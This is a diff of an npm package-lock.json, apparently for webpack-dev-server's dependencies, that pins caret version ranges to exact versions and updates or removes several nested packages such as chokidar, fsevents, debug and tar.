- "import-local": "^2.0.0",
- "internal-ip": "^3.0.1",
- "ip": "^1.1.5",
- "killable": "^1.0.0",
- "loglevel": "^1.4.1",
- "opn": "^5.1.0",
- "portfinder": "^1.0.9",
- "schema-utils": "^1.0.0",
- "selfsigned": "^1.9.1",
- "serve-index": "^1.7.2",
+ "bonjour": "3.5.0",
+ "chokidar": "2.1.8",
+ "compression": "1.7.4",
+ "connect-history-api-fallback": "1.6.0",
+ "debug": "4.1.1",
+ "del": "4.1.1",
+ "express": "4.17.1",
+ "html-entities": "1.2.1",
+ "http-proxy-middleware": "0.19.1",
+ "import-local": "2.0.0",
+ "internal-ip": "4.3.0",
+ "ip": "1.1.5",
+ "is-absolute-url": "3.0.2",
+ "killable": "1.0.1",
+ "loglevel": "1.6.4",
+ "opn": "5.5.0",
+ "p-retry": "3.0.1",
+ "portfinder": "1.0.24",
+ "schema-utils": "1.0.0",
+ "selfsigned": "1.10.6",
+ "semver": "6.3.0",
+ "serve-index": "1.9.1",
"sockjs": "0.3.19",
- "sockjs-client": "1.1.5",
- "spdy": "^3.4.1",
- "strip-ansi": "^3.0.0",
- "supports-color": "^5.1.0",
- "webpack-dev-middleware": "3.4.0",
- "webpack-log": "^2.0.0",
- "yargs": "12.0.2"
+ "sockjs-client": "1.4.0",
+ "spdy": "4.0.1",
+ "strip-ansi": "3.0.1",
+ "supports-color": "6.1.0",
+ "url": "0.11.0",
+ "webpack-dev-middleware": "3.7.1",
+ "webpack-log": "2.0.0",
+ "ws": "6.2.1",
+ "yargs": "12.0.5"
},
"dependencies": {
"ansi-regex": {
@@ -18911,8 +20394,19 @@
"integrity": "sha512-5teOsQWABXHHBFP9y3skS5P3d/WfWXpv3FUpy+LorMrNYaT9pI4oLMQX7jzQ2KklNpGpWHzdCXTDT2Y3XGlZBw==",
"dev": true,
"requires": {
- "micromatch": "^3.1.4",
- "normalize-path": "^2.1.1"
+ "micromatch": "3.1.10",
+ "normalize-path": "2.1.1"
+ },
+ "dependencies": {
+ "normalize-path": {
+ "version": "2.1.1",
+ "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-2.1.1.tgz",
+ "integrity": "sha1-GrKLVW4Zg2Oowab35vogE3/mrtk=",
+ "dev": true,
+ "requires": {
+ "remove-trailing-separator": "1.0.2"
+ }
+ }
}
},
"arr-diff": {
@@ -18933,16 +20427,16 @@
"integrity": "sha512-aNdbnj9P8PjdXU4ybaWLK2IF3jc/EoDYbC7AazW6to3TRsfXxscC9UXOB5iDiEQrkyIbWp2SLQda4+QAa7nc3w==",
"dev": true,
"requires": {
- "arr-flatten": "^1.1.0",
- "array-unique": "^0.3.2",
- "extend-shallow": "^2.0.1",
- "fill-range": "^4.0.0",
- "isobject": "^3.0.1",
- "repeat-element": "^1.1.2",
- "snapdragon": "^0.8.1",
- "snapdragon-node": "^2.0.1",
- "split-string": "^3.0.2",
- "to-regex": "^3.0.1"
+ "arr-flatten": "1.1.0",
+ "array-unique": "0.3.2",
+ "extend-shallow": "2.0.1",
+ "fill-range": "4.0.0",
+ "isobject": "3.0.1",
+ "repeat-element": "1.1.2",
+ "snapdragon": "0.8.2",
+ "snapdragon-node": "2.1.1",
+ "split-string": "3.1.0",
+ "to-regex": "3.0.2"
},
"dependencies": {
"extend-shallow": {
@@ -18951,36 +20445,35 @@
"integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=",
"dev": true,
"requires": {
- "is-extendable": "^0.1.0"
+ "is-extendable": "0.1.1"
}
}
}
},
"camelcase": {
- "version": "4.1.0",
- "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-4.1.0.tgz",
- "integrity": "sha1-1UVjW+HjPFQmScaRc+Xeas+uNN0=",
+ "version": "5.3.1",
+ "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-5.3.1.tgz",
+ "integrity": "sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==",
"dev": true
},
"chokidar": {
- "version": "2.0.4",
- "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-2.0.4.tgz",
- "integrity": "sha512-z9n7yt9rOvIJrMhvDtDictKrkFHeihkNl6uWMmZlmL6tJtX9Cs+87oK+teBx+JIgzvbX3yZHT3eF8vpbDxHJXQ==",
+ "version": "2.1.8",
+ "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-2.1.8.tgz",
+ "integrity": "sha512-ZmZUazfOzf0Nve7duiCKD23PFSCs4JPoYyccjUFF3aQkQadqBhfzhjkwBH2mNOG9cTBwhamM37EIsIkZw3nRgg==",
"dev": true,
"requires": {
- "anymatch": "^2.0.0",
- "async-each": "^1.0.0",
- "braces": "^2.3.0",
- "fsevents": "^1.2.2",
- "glob-parent": "^3.1.0",
- "inherits": "^2.0.1",
- "is-binary-path": "^1.0.0",
- "is-glob": "^4.0.0",
- "lodash.debounce": "^4.0.8",
- "normalize-path": "^2.1.1",
- "path-is-absolute": "^1.0.0",
- "readdirp": "^2.0.0",
- "upath": "^1.0.5"
+ "anymatch": "2.0.0",
+ "async-each": "1.0.1",
+ "braces": "2.3.2",
+ "fsevents": "1.2.9",
+ "glob-parent": "3.1.0",
+ "inherits": "2.0.3",
+ "is-binary-path": "1.0.1",
+ "is-glob": "4.0.1",
+ "normalize-path": "3.0.0",
+ "path-is-absolute": "1.0.1",
+ "readdirp": "2.2.1",
+ "upath": "1.2.0"
}
},
"cliui": {
@@ -18989,9 +20482,9 @@
"integrity": "sha512-4FG+RSG9DL7uEwRUZXZn3SS34DiDPfzP0VOiEwtUWlE+AR2EIg+hSyvrIgUUfhdgR/UkAeW2QHgeP+hWrXs7jQ==",
"dev": true,
"requires": {
- "string-width": "^2.1.1",
- "strip-ansi": "^4.0.0",
- "wrap-ansi": "^2.0.0"
+ "string-width": "2.1.1",
+ "strip-ansi": "4.0.0",
+ "wrap-ansi": "2.1.0"
},
"dependencies": {
"strip-ansi": {
@@ -19000,92 +20493,41 @@
"integrity": "sha1-qEeQIusaw2iocTibY1JixQXuNo8=",
"dev": true,
"requires": {
- "ansi-regex": "^3.0.0"
+ "ansi-regex": "3.0.0"
}
}
}
},
- "cross-spawn": {
- "version": "6.0.5",
- "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-6.0.5.tgz",
- "integrity": "sha512-eTVLrBSt7fjbDygz805pMnstIs2VTBNkRm0qxZd+M7A5XDdxVRWO5MxGBXZhjY4cqLYLdtrGqRf8mBPmzwSpWQ==",
- "dev": true,
- "requires": {
- "nice-try": "^1.0.4",
- "path-key": "^2.0.1",
- "semver": "^5.5.0",
- "shebang-command": "^1.2.0",
- "which": "^1.2.9"
- }
- },
"debug": {
- "version": "3.2.6",
- "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.6.tgz",
- "integrity": "sha512-mel+jf7nrtEl5Pn1Qx46zARXKDpBbvzezse7p7LqINmdoIk8PYP5SySaxEmYv6TZ0JyEKA1hsCId6DIhgITtWQ==",
+ "version": "4.1.1",
+ "resolved": "https://registry.npmjs.org/debug/-/debug-4.1.1.tgz",
+ "integrity": "sha512-pYAIzeRo8J6KPEaJ0VWOh5Pzkbw/RetuzehGM7QRRX5he4fPHx2rdKMB256ehJCkX+XRQm16eZLqLNS8RSZXZw==",
"dev": true,
"requires": {
- "ms": "^2.1.1"
+ "ms": "2.1.2"
},
"dependencies": {
"ms": {
- "version": "2.1.1",
- "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.1.tgz",
- "integrity": "sha512-tgp+dl5cGk28utYktBsrFqA7HKgrhgPsg6Z/EfhWI4gl1Hwq8B/GmY/0oXZ6nF8hDVesS/FpnYaD/kOWhYQvyg==",
+ "version": "2.1.2",
+ "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
+ "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==",
"dev": true
}
}
},
- "decamelize": {
- "version": "2.0.0",
- "resolved": "https://registry.npmjs.org/decamelize/-/decamelize-2.0.0.tgz",
- "integrity": "sha512-Ikpp5scV3MSYxY39ymh45ZLEecsTdv/Xj2CaQfI8RLMuwi7XvjX9H/fhraiSuU+C5w5NTDu4ZU72xNiZnurBPg==",
- "dev": true,
- "requires": {
- "xregexp": "4.0.0"
- }
- },
- "del": {
- "version": "3.0.0",
- "resolved": "https://registry.npmjs.org/del/-/del-3.0.0.tgz",
- "integrity": "sha1-U+z2mf/LyzljdpGrE7rxYIGXZuU=",
- "dev": true,
- "requires": {
- "globby": "^6.1.0",
- "is-path-cwd": "^1.0.0",
- "is-path-in-cwd": "^1.0.0",
- "p-map": "^1.1.1",
- "pify": "^3.0.0",
- "rimraf": "^2.2.8"
- }
- },
- "execa": {
- "version": "0.10.0",
- "resolved": "https://registry.npmjs.org/execa/-/execa-0.10.0.tgz",
- "integrity": "sha512-7XOMnz8Ynx1gGo/3hyV9loYNPWM94jG3+3T3Y8tsfSstFmETmENCMU/A/zj8Lyaj1lkgEepKepvd6240tBRvlw==",
- "dev": true,
- "requires": {
- "cross-spawn": "^6.0.0",
- "get-stream": "^3.0.0",
- "is-stream": "^1.1.0",
- "npm-run-path": "^2.0.0",
- "p-finally": "^1.0.0",
- "signal-exit": "^3.0.0",
- "strip-eof": "^1.0.0"
- }
- },
"expand-brackets": {
"version": "2.1.4",
"resolved": "https://registry.npmjs.org/expand-brackets/-/expand-brackets-2.1.4.tgz",
"integrity": "sha1-t3c14xXOMPa27/D4OwQVGiJEliI=",
"dev": true,
"requires": {
- "debug": "^2.3.3",
- "define-property": "^0.2.5",
- "extend-shallow": "^2.0.1",
- "posix-character-classes": "^0.1.0",
- "regex-not": "^1.0.0",
- "snapdragon": "^0.8.1",
- "to-regex": "^3.0.1"
+ "debug": "2.6.9",
+ "define-property": "0.2.5",
+ "extend-shallow": "2.0.1",
+ "posix-character-classes": "0.1.1",
+ "regex-not": "1.0.2",
+ "snapdragon": "0.8.2",
+ "to-regex": "3.0.2"
},
"dependencies": {
"debug": {
@@ -19103,7 +20545,7 @@
"integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=",
"dev": true,
"requires": {
- "is-descriptor": "^0.1.0"
+ "is-descriptor": "0.1.6"
}
},
"extend-shallow": {
@@ -19112,7 +20554,7 @@
"integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=",
"dev": true,
"requires": {
- "is-extendable": "^0.1.0"
+ "is-extendable": "0.1.1"
}
},
"is-accessor-descriptor": {
@@ -19121,7 +20563,7 @@
"integrity": "sha1-qeEss66Nh2cn7u84Q/igiXtcmNY=",
"dev": true,
"requires": {
- "kind-of": "^3.0.2"
+ "kind-of": "3.2.2"
},
"dependencies": {
"kind-of": {
@@ -19130,7 +20572,7 @@
"integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=",
"dev": true,
"requires": {
- "is-buffer": "^1.1.5"
+ "is-buffer": "1.1.5"
}
}
}
@@ -19141,7 +20583,7 @@
"integrity": "sha1-C17mSDiOLIYCgueT8YVv7D8wG1Y=",
"dev": true,
"requires": {
- "kind-of": "^3.0.2"
+ "kind-of": "3.2.2"
},
"dependencies": {
"kind-of": {
@@ -19150,7 +20592,7 @@
"integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=",
"dev": true,
"requires": {
- "is-buffer": "^1.1.5"
+ "is-buffer": "1.1.5"
}
}
}
@@ -19161,9 +20603,9 @@
"integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==",
"dev": true,
"requires": {
- "is-accessor-descriptor": "^0.1.6",
- "is-data-descriptor": "^0.1.4",
- "kind-of": "^5.0.0"
+ "is-accessor-descriptor": "0.1.6",
+ "is-data-descriptor": "0.1.4",
+ "kind-of": "5.1.0"
}
},
"kind-of": {
@@ -19180,14 +20622,14 @@
"integrity": "sha512-Nmb6QXkELsuBr24CJSkilo6UHHgbekK5UiZgfE6UHD3Eb27YC6oD+bhcT+tJ6cl8dmsgdQxnWlcry8ksBIBLpw==",
"dev": true,
"requires": {
- "array-unique": "^0.3.2",
- "define-property": "^1.0.0",
- "expand-brackets": "^2.1.4",
- "extend-shallow": "^2.0.1",
- "fragment-cache": "^0.2.1",
- "regex-not": "^1.0.0",
- "snapdragon": "^0.8.1",
- "to-regex": "^3.0.1"
+ "array-unique": "0.3.2",
+ "define-property": "1.0.0",
+ "expand-brackets": "2.1.4",
+ "extend-shallow": "2.0.1",
+ "fragment-cache": "0.2.1",
+ "regex-not": "1.0.2",
+ "snapdragon": "0.8.2",
+ "to-regex": "3.0.2"
},
"dependencies": {
"define-property": {
@@ -19196,7 +20638,7 @@
"integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=",
"dev": true,
"requires": {
- "is-descriptor": "^1.0.0"
+ "is-descriptor": "1.0.2"
}
},
"extend-shallow": {
@@ -19205,7 +20647,7 @@
"integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=",
"dev": true,
"requires": {
- "is-extendable": "^0.1.0"
+ "is-extendable": "0.1.1"
}
}
}
@@ -19216,10 +20658,10 @@
"integrity": "sha1-1USBHUKPmOsGpj3EAtJAPDKMOPc=",
"dev": true,
"requires": {
- "extend-shallow": "^2.0.1",
- "is-number": "^3.0.0",
- "repeat-string": "^1.6.1",
- "to-regex-range": "^2.1.0"
+ "extend-shallow": "2.0.1",
+ "is-number": "3.0.0",
+ "repeat-string": "1.6.1",
+ "to-regex-range": "2.1.1"
},
"dependencies": {
"extend-shallow": {
@@ -19228,7 +20670,7 @@
"integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=",
"dev": true,
"requires": {
- "is-extendable": "^0.1.0"
+ "is-extendable": "0.1.1"
}
}
}
@@ -19239,18 +20681,18 @@
"integrity": "sha512-1yD6RmLI1XBfxugvORwlck6f75tYL+iR0jqwsOrOxMZyGYqUuDhJ0l4AXdO1iX/FTs9cBAMEk1gWSEx1kSbylg==",
"dev": true,
"requires": {
- "locate-path": "^3.0.0"
+ "locate-path": "3.0.0"
}
},
"fsevents": {
- "version": "1.2.4",
- "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-1.2.4.tgz",
- "integrity": "sha512-z8H8/diyk76B7q5wg+Ud0+CqzcAF3mBBI/bA5ne5zrRUUIvNkJY//D3BqyH571KuAC4Nr7Rw7CjWX4r0y9DvNg==",
+ "version": "1.2.9",
+ "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-1.2.9.tgz",
+ "integrity": "sha512-oeyj2H3EjjonWcFjD5NvZNE9Rqe4UW+nQBU2HNeKw0koVLEFIhtyETyAakeAM3de7Z/SW5kcA+fZUait9EApnw==",
"dev": true,
"optional": true,
"requires": {
- "nan": "^2.9.2",
- "node-pre-gyp": "^0.10.0"
+ "nan": "2.14.0",
+ "node-pre-gyp": "0.12.0"
},
"dependencies": {
"abbrev": {
@@ -19271,33 +20713,31 @@
"optional": true
},
"are-we-there-yet": {
- "version": "1.1.4",
+ "version": "1.1.5",
"bundled": true,
"dev": true,
"optional": true,
"requires": {
- "delegates": "^1.0.0",
- "readable-stream": "^2.0.6"
+ "delegates": "1.0.0",
+ "readable-stream": "2.3.6"
}
},
"balanced-match": {
"version": "1.0.0",
"bundled": true,
- "dev": true,
- "optional": true
+ "dev": true
},
"brace-expansion": {
"version": "1.1.11",
"bundled": true,
"dev": true,
- "optional": true,
"requires": {
"balanced-match": "1.0.0",
"concat-map": "0.0.1"
}
},
"chownr": {
- "version": "1.0.1",
+ "version": "1.1.1",
"bundled": true,
"dev": true,
"optional": true
@@ -19310,8 +20750,7 @@
"concat-map": {
"version": "0.0.1",
"bundled": true,
- "dev": true,
- "optional": true
+ "dev": true
},
"console-control-strings": {
"version": "1.1.0",
@@ -19325,16 +20764,16 @@
"optional": true
},
"debug": {
- "version": "2.6.9",
+ "version": "4.1.1",
"bundled": true,
"dev": true,
"optional": true,
"requires": {
- "ms": "2.0.0"
+ "ms": "2.1.1"
}
},
"deep-extend": {
- "version": "0.5.1",
+ "version": "0.6.0",
"bundled": true,
"dev": true,
"optional": true
@@ -19357,7 +20796,7 @@
"dev": true,
"optional": true,
"requires": {
- "minipass": "^2.2.1"
+ "minipass": "2.3.5"
}
},
"fs.realpath": {
@@ -19372,28 +20811,28 @@
"dev": true,
"optional": true,
"requires": {
- "aproba": "^1.0.3",
- "console-control-strings": "^1.0.0",
- "has-unicode": "^2.0.0",
- "object-assign": "^4.1.0",
- "signal-exit": "^3.0.0",
- "string-width": "^1.0.1",
- "strip-ansi": "^3.0.1",
- "wide-align": "^1.1.0"
+ "aproba": "1.2.0",
+ "console-control-strings": "1.1.0",
+ "has-unicode": "2.0.1",
+ "object-assign": "4.1.1",
+ "signal-exit": "3.0.2",
+ "string-width": "1.0.2",
+ "strip-ansi": "3.0.1",
+ "wide-align": "1.1.3"
}
},
"glob": {
- "version": "7.1.2",
+ "version": "7.1.3",
"bundled": true,
"dev": true,
"optional": true,
"requires": {
- "fs.realpath": "^1.0.0",
- "inflight": "^1.0.4",
- "inherits": "2",
- "minimatch": "^3.0.4",
- "once": "^1.3.0",
- "path-is-absolute": "^1.0.0"
+ "fs.realpath": "1.0.0",
+ "inflight": "1.0.6",
+ "inherits": "2.0.3",
+ "minimatch": "3.0.4",
+ "once": "1.4.0",
+ "path-is-absolute": "1.0.1"
}
},
"has-unicode": {
@@ -19403,12 +20842,12 @@
"optional": true
},
"iconv-lite": {
- "version": "0.4.21",
+ "version": "0.4.24",
"bundled": true,
"dev": true,
"optional": true,
"requires": {
- "safer-buffer": "^2.1.0"
+ "safer-buffer": "2.1.2"
}
},
"ignore-walk": {
@@ -19417,7 +20856,7 @@
"dev": true,
"optional": true,
"requires": {
- "minimatch": "^3.0.4"
+ "minimatch": "3.0.4"
}
},
"inflight": {
@@ -19426,8 +20865,8 @@
"dev": true,
"optional": true,
"requires": {
- "once": "^1.3.0",
- "wrappy": "1"
+ "once": "1.4.0",
+ "wrappy": "1.0.2"
}
},
"inherits": {
@@ -19446,7 +20885,7 @@
"bundled": true,
"dev": true,
"requires": {
- "number-is-nan": "^1.0.0"
+ "number-is-nan": "1.0.1"
}
},
"isarray": {
@@ -19459,9 +20898,8 @@
"version": "3.0.4",
"bundled": true,
"dev": true,
- "optional": true,
"requires": {
- "brace-expansion": "^1.1.7"
+ "brace-expansion": "1.1.11"
}
},
"minimist": {
@@ -19470,21 +20908,21 @@
"dev": true
},
"minipass": {
- "version": "2.2.4",
+ "version": "2.3.5",
"bundled": true,
"dev": true,
"requires": {
- "safe-buffer": "^5.1.1",
- "yallist": "^3.0.0"
+ "safe-buffer": "5.1.2",
+ "yallist": "3.0.3"
}
},
"minizlib": {
- "version": "1.1.0",
+ "version": "1.2.1",
"bundled": true,
"dev": true,
"optional": true,
"requires": {
- "minipass": "^2.2.1"
+ "minipass": "2.3.5"
}
},
"mkdirp": {
@@ -19496,38 +20934,38 @@
}
},
"ms": {
- "version": "2.0.0",
+ "version": "2.1.1",
"bundled": true,
"dev": true,
"optional": true
},
"needle": {
- "version": "2.2.0",
+ "version": "2.3.0",
"bundled": true,
"dev": true,
"optional": true,
"requires": {
- "debug": "^2.1.2",
- "iconv-lite": "^0.4.4",
- "sax": "^1.2.4"
+ "debug": "4.1.1",
+ "iconv-lite": "0.4.24",
+ "sax": "1.2.4"
}
},
"node-pre-gyp": {
- "version": "0.10.0",
+ "version": "0.12.0",
"bundled": true,
"dev": true,
"optional": true,
"requires": {
- "detect-libc": "^1.0.2",
- "mkdirp": "^0.5.1",
- "needle": "^2.2.0",
- "nopt": "^4.0.1",
- "npm-packlist": "^1.1.6",
- "npmlog": "^4.0.2",
- "rc": "^1.1.7",
- "rimraf": "^2.6.1",
- "semver": "^5.3.0",
- "tar": "^4"
+ "detect-libc": "1.0.3",
+ "mkdirp": "0.5.1",
+ "needle": "2.3.0",
+ "nopt": "4.0.1",
+ "npm-packlist": "1.4.1",
+ "npmlog": "4.1.2",
+ "rc": "1.2.8",
+ "rimraf": "2.6.3",
+ "semver": "5.7.0",
+ "tar": "4.4.8"
}
},
"nopt": {
@@ -19536,24 +20974,24 @@
"dev": true,
"optional": true,
"requires": {
- "abbrev": "1",
- "osenv": "^0.1.4"
+ "abbrev": "1.1.1",
+ "osenv": "0.1.5"
}
},
"npm-bundled": {
- "version": "1.0.3",
+ "version": "1.0.6",
"bundled": true,
"dev": true,
"optional": true
},
"npm-packlist": {
- "version": "1.1.10",
+ "version": "1.4.1",
"bundled": true,
"dev": true,
"optional": true,
"requires": {
- "ignore-walk": "^3.0.1",
- "npm-bundled": "^1.0.1"
+ "ignore-walk": "3.0.1",
+ "npm-bundled": "1.0.6"
}
},
"npmlog": {
@@ -19562,10 +21000,10 @@
"dev": true,
"optional": true,
"requires": {
- "are-we-there-yet": "~1.1.2",
- "console-control-strings": "~1.1.0",
- "gauge": "~2.7.3",
- "set-blocking": "~2.0.0"
+ "are-we-there-yet": "1.1.5",
+ "console-control-strings": "1.1.0",
+ "gauge": "2.7.4",
+ "set-blocking": "2.0.0"
}
},
"number-is-nan": {
@@ -19584,7 +21022,7 @@
"bundled": true,
"dev": true,
"requires": {
- "wrappy": "1"
+ "wrappy": "1.0.2"
}
},
"os-homedir": {
@@ -19605,8 +21043,8 @@
"dev": true,
"optional": true,
"requires": {
- "os-homedir": "^1.0.0",
- "os-tmpdir": "^1.0.0"
+ "os-homedir": "1.0.2",
+ "os-tmpdir": "1.0.2"
}
},
"path-is-absolute": {
@@ -19622,15 +21060,15 @@
"optional": true
},
"rc": {
- "version": "1.2.7",
+ "version": "1.2.8",
"bundled": true,
"dev": true,
"optional": true,
"requires": {
- "deep-extend": "^0.5.1",
- "ini": "~1.3.0",
- "minimist": "^1.2.0",
- "strip-json-comments": "~2.0.1"
+ "deep-extend": "0.6.0",
+ "ini": "1.3.5",
+ "minimist": "1.2.0",
+ "strip-json-comments": "2.0.1"
},
"dependencies": {
"minimist": {
@@ -19647,26 +21085,26 @@
"dev": true,
"optional": true,
"requires": {
- "core-util-is": "~1.0.0",
- "inherits": "~2.0.3",
- "isarray": "~1.0.0",
- "process-nextick-args": "~2.0.0",
- "safe-buffer": "~5.1.1",
- "string_decoder": "~1.1.1",
- "util-deprecate": "~1.0.1"
+ "core-util-is": "1.0.2",
+ "inherits": "2.0.3",
+ "isarray": "1.0.0",
+ "process-nextick-args": "2.0.0",
+ "safe-buffer": "5.1.2",
+ "string_decoder": "1.1.1",
+ "util-deprecate": "1.0.2"
}
},
"rimraf": {
- "version": "2.6.2",
+ "version": "2.6.3",
"bundled": true,
"dev": true,
"optional": true,
"requires": {
- "glob": "^7.0.5"
+ "glob": "7.1.3"
}
},
"safe-buffer": {
- "version": "5.1.1",
+ "version": "5.1.2",
"bundled": true,
"dev": true
},
@@ -19683,7 +21121,7 @@
"optional": true
},
"semver": {
- "version": "5.5.0",
+ "version": "5.7.0",
"bundled": true,
"dev": true,
"optional": true
@@ -19705,9 +21143,9 @@
"bundled": true,
"dev": true,
"requires": {
- "code-point-at": "^1.0.0",
- "is-fullwidth-code-point": "^1.0.0",
- "strip-ansi": "^3.0.0"
+ "code-point-at": "1.1.0",
+ "is-fullwidth-code-point": "1.0.0",
+ "strip-ansi": "3.0.1"
}
},
"string_decoder": {
@@ -19716,7 +21154,7 @@
"dev": true,
"optional": true,
"requires": {
- "safe-buffer": "~5.1.0"
+ "safe-buffer": "5.1.2"
}
},
"strip-ansi": {
@@ -19724,7 +21162,7 @@
"bundled": true,
"dev": true,
"requires": {
- "ansi-regex": "^2.0.0"
+ "ansi-regex": "2.1.1"
}
},
"strip-json-comments": {
@@ -19734,18 +21172,18 @@
"optional": true
},
"tar": {
- "version": "4.4.1",
+ "version": "4.4.8",
"bundled": true,
"dev": true,
"optional": true,
"requires": {
- "chownr": "^1.0.1",
- "fs-minipass": "^1.2.5",
- "minipass": "^2.2.4",
- "minizlib": "^1.1.0",
- "mkdirp": "^0.5.0",
- "safe-buffer": "^5.1.1",
- "yallist": "^3.0.2"
+ "chownr": "1.1.1",
+ "fs-minipass": "1.2.5",
+ "minipass": "2.3.5",
+ "minizlib": "1.2.1",
+ "mkdirp": "0.5.1",
+ "safe-buffer": "5.1.2",
+ "yallist": "3.0.3"
}
},
"util-deprecate": {
@@ -19755,12 +21193,12 @@
"optional": true
},
"wide-align": {
- "version": "1.1.2",
+ "version": "1.1.3",
"bundled": true,
"dev": true,
"optional": true,
"requires": {
- "string-width": "^1.0.2"
+ "string-width": "1.0.2"
}
},
"wrappy": {
@@ -19769,7 +21207,7 @@
"dev": true
},
"yallist": {
- "version": "3.0.2",
+ "version": "3.0.3",
"bundled": true,
"dev": true
}
@@ -19781,8 +21219,8 @@
"integrity": "sha1-nmr2KZ2NO9K9QEMIMr0RPfkGxa4=",
"dev": true,
"requires": {
- "is-glob": "^3.1.0",
- "path-dirname": "^1.0.0"
+ "is-glob": "3.1.0",
+ "path-dirname": "1.0.2"
},
"dependencies": {
"is-glob": {
@@ -19791,51 +21229,24 @@
"integrity": "sha1-e6WuJCF4BKxwcHuWkiVnSGzD6Eo=",
"dev": true,
"requires": {
- "is-extglob": "^2.1.0"
+ "is-extglob": "2.1.1"
}
}
}
},
- "globby": {
- "version": "6.1.0",
- "resolved": "https://registry.npmjs.org/globby/-/globby-6.1.0.tgz",
- "integrity": "sha1-9abXDoOV4hyFj7BInWTfAkJNUGw=",
- "dev": true,
- "requires": {
- "array-union": "^1.0.1",
- "glob": "^7.0.3",
- "object-assign": "^4.0.1",
- "pify": "^2.0.0",
- "pinkie-promise": "^2.0.0"
- },
- "dependencies": {
- "pify": {
- "version": "2.3.0",
- "resolved": "https://registry.npmjs.org/pify/-/pify-2.3.0.tgz",
- "integrity": "sha1-7RQaasBDqEnqWISY59yosVMw6Qw=",
- "dev": true
- }
- }
- },
"has-flag": {
"version": "3.0.0",
"resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz",
"integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=",
"dev": true
},
- "invert-kv": {
- "version": "2.0.0",
- "resolved": "https://registry.npmjs.org/invert-kv/-/invert-kv-2.0.0.tgz",
- "integrity": "sha512-wPVv/y/QQ/Uiirj/vh3oP+1Ww+AWehmi1g5fFWGPF6IpCBCDVrhgHRMvrLfdYcwDh3QJbGXDW4JAuzxElLSqKA==",
- "dev": true
- },
"is-accessor-descriptor": {
"version": "1.0.0",
"resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz",
"integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==",
"dev": true,
"requires": {
- "kind-of": "^6.0.0"
+ "kind-of": "6.0.2"
}
},
"is-data-descriptor": {
@@ -19844,7 +21255,7 @@
"integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==",
"dev": true,
"requires": {
- "kind-of": "^6.0.0"
+ "kind-of": "6.0.2"
}
},
"is-descriptor": {
@@ -19853,9 +21264,9 @@
"integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==",
"dev": true,
"requires": {
- "is-accessor-descriptor": "^1.0.0",
- "is-data-descriptor": "^1.0.0",
- "kind-of": "^6.0.2"
+ "is-accessor-descriptor": "1.0.0",
+ "is-data-descriptor": "1.0.0",
+ "kind-of": "6.0.2"
}
},
"is-extglob": {
@@ -19865,12 +21276,12 @@
"dev": true
},
"is-glob": {
- "version": "4.0.0",
- "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.0.tgz",
- "integrity": "sha1-lSHHaEXMJhCoUgPd8ICpWML/q8A=",
+ "version": "4.0.1",
+ "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.1.tgz",
+ "integrity": "sha512-5G0tKtBTFImOqDnLB2hG6Bp2qcKEFduo4tZu9MT/H6NQv/ghhy30o55ufafxJ/LdH79LLs2Kfrn85TLKyA7BUg==",
"dev": true,
"requires": {
- "is-extglob": "^2.1.1"
+ "is-extglob": "2.1.1"
}
},
"is-number": {
@@ -19879,7 +21290,7 @@
"integrity": "sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=",
"dev": true,
"requires": {
- "kind-of": "^3.0.2"
+ "kind-of": "3.2.2"
},
"dependencies": {
"kind-of": {
@@ -19888,11 +21299,17 @@
"integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=",
"dev": true,
"requires": {
- "is-buffer": "^1.1.5"
+ "is-buffer": "1.1.5"
}
}
}
},
+ "isarray": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz",
+ "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=",
+ "dev": true
+ },
"isobject": {
"version": "3.0.1",
"resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz",
@@ -19905,34 +21322,14 @@
"integrity": "sha512-s5kLOcnH0XqDO+FvuaLX8DDjZ18CGFk7VygH40QoKPUQhW4e2rvM0rwUq0t8IQDOwYSeLK01U90OjzBTme2QqA==",
"dev": true
},
- "lcid": {
